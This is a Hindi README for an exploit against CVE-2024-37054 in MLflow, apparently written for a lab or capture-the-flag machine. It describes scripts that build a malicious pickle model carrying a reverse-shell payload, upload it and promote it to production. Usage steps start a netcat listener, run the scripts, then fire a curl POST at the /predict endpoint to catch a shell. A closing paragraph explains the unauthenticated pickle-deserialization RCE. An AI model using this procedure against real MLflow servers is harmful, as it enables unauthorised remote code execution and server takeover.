
CVE-2024-37054 के लिए एक्सप्लॉइट: एक दुर्भावनापूर्ण पिकल मॉडल उत्पन्न करता है, इसे MLflow पर अपलोड करता है, और /predict एंडपॉइंट के माध्यम से रिमोट कोड निष्पादन ट्रिगर करता है।
| फ़ाइल | उद्देश्य |
|---|
generate_model.py | रिवर्स शेल पेलोड के साथ दुर्भावनापूर्ण model.pkl उत्पन्न करता है |
upload_model.py | पिकल को MLflow पर अपलोड करता है और इसे प्रोडक्शन में प्रमोट करता है |
sample.csv | /predict एंडपॉइंट को ट्रिगर करने के लिए उपयोग की जाने वाली CSV फ़ाइल |
generate_model.py को संपादित करें और अपना tun0 IP सेट करें:
python3 generate_model.py
nc -lvnp 4444
upload_model.py को संपादित करें:
MLFLOW को http://127.0.0.1:5000 पर सेट करेंMODEL_NAME को मुख्य डोमेन पर पाए गए सक्रिय मॉडल नाम पर सेट करेंpython3 upload_model.py
क्लाइंट ऐप से एक नया सत्र कुकी प्राप्त करें, फिर:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
आपके लिसनर पर शेल पकड़ा जाता है।
MLflow Model Registry के माध्यम से Pickle Deserialization
MLflow पंजीकृत मॉडलों को Python के pickle.load() का उपयोग करके लोड करता है। एक क्राफ्टेड पिकल को मॉडल आर्टिफैक्ट के रूप में अपलोड करके और इसे प्रोडक्शन में प्रमोट करके, /predict के लिए कोई भी बाद का कॉल पेलोड को सर्वर-साइड डिसीरियलाइज़ करता है, जिससे एप्लिकेशन उपयोगकर्ता के रूप में अप्रमाणित RCE प्राप्त होता है।